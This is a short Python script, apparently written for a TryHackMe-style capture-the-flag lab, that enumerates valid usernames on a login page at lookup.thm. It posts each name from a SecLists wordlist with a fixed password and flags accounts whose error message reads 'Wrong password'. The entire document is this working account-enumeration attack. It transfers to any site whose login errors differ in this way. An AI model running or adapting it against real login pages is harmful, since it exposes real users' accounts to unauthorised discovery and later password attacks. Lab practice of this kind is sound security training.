import requests if __name__ == '__main__': URL = 'http://lookup.thm/login.php' usernames = '/usr/share/seclists/Usernames/Names/names.txt' try: with open(usernames, 'r') as file: print('Starting to test Usernames') for line in file: username = line.strip() if not username: continue data = {'username': username, 'password': 'password'} response = requests.post(URL, data=data) if 'Wrong password' in response.text: print(f"Username found: {username}") elif 'Wrong username' in response.text: continue except FileNotFoundError: print('Error: Name list not found') except requests.RequestException as e: print(f"Error: An HTTP request error occured: {e}")